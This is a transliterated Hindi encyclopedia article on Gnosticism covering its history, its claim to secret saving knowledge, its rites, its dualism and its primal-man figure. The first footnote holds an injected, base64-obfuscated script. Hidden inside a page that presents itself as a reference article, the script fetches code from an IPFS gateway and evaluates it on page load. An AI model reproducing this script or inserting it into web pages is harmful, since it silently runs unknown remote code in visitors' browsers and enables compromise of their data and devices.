असंशयवाद
asanshayavad (aignastisizm) ek dharmik aandolan, jo doosari sadi ke aranbh mean praranbh hua, us sadi ke madhyakal mean apane charam utkarsh par pahuancha aur phir kshin ho chala. vaise isaki vibhinn shakha prashakhaean chaturth shatabdi tak j d jamae rahian. yah bat bhi smaraniy hai ki kee mahatvapoorn asanshayavadi manyataean eesaee mat ka aranbh hone se poorv hi vikasit ho chuki thian.
'asanshay' shabd ke prayog se asanshavadiyoan ko buddhivad ka samarthak nahian samajhana chahe. ve baddhivadi nahian, daivi anubhootivadi the. asanshayavadi sanpraday apane ko ek aise rahasmay jnan se yukt samajhata tha jo kahian anyatr upalabdh nahian tatha jisaki prapti vaijnanik vichar vimarsh dvara nahian varanh daivi anubhooti se hi sanbhav hai. unaka kahana hai ki yah jnan svayan mukti pradan karanevala hai aur usake sachche anuyayiyoan se hi kis rahasyamay dhang se prapt hota hai. sankshep mean, sabhi asanshayavadi apane samast achar vichar aur prakar mean dharmik rahasyavadiyoan ki shreni mean ate haian. ve sabhi goodh tatvajnan ka dava karate haian. ve mrityuparaant jiv ki sadgati mean vishvas karate haian aur us mukti pradan karanevale prabhu ki upasana karate haian jo apane upasakoan ke lie svayan manav roop mean ek adarsh marg bata gaya hai.
any rahasyavadi dharmoan ki bhaanti asanshayavad mean bhi mantratantr, vidhisanskaradi ka mahatvapoorn sthan hai. pavitr chinhoan, namoan tatha sootroan ka sthan sarvochch hai. asanshayavadi sanpradayoan ke anusar mrityuparaant jiv jab sarvochch svarg ke marg par agrasar hota hai to nimn koti ke dev evan shaitan badha upasthit karate haian jinase chhutakara tabhi sanbhav hai jab vah shaitanoan ke nam smaran rakhe, pavitr mantroan ka sahi uchcharan kare, shubh chihnoan ka prayog kare ya pavitr tailoan se abhishikt ho. mrityuparaant sadgati ke lie asanshavadiyoan ke anusar ye atyant mahatvapoorn avashyakataean haian. manav sharir mean avatarit svayan muktipradata ko bhi pun: svargarohan ke lie in mantradi ki avashyakata huee thi.
asanshayavad ek vishesh prakar ke dvait siddhaant par adharit hai. achchhaee aur buraee donoan ek doosare ke pratipakshi haian. pratham daivi jagath ka aur dvitiy bhautik jagath ka pratinidhi hai. bhautik jagath buraiyoan ki j d, virodhi shaktiyoan ka sangharshasthal hai. asanshayavadi bhautik jagath ka nirman un sat shaktiyoan dvara manate haian jo unapar shasan karati haian. in sat shaktiyoan ke srot soory, chandr aur paanch nakshatr haian.[1]
asanshayavadiyoan ki yah pramukh manyata hai ki jagath ki srishti ke poorv ek adipurush tha, param sadhu purush, jo sansar mean vibhinn roopoan mean vicharata aur apane ko kisi ek asanshayavadi mean vyakt karata hai. vah us daivi shakti ka pratik hai jo sabaki unnati ke lie bhautik jagath mean aandhakar mean utarakar vishvavikas ka natakiy drishy prastut karati hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 298 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran-ee.eph. skat : nastisijm aiand vaileanshiainijm in hestiangz; enasaiklopidiya aauv relijan aiand aithiks; enasaiklopidiya britainika mean 'nastisizm' shirshak nibandh.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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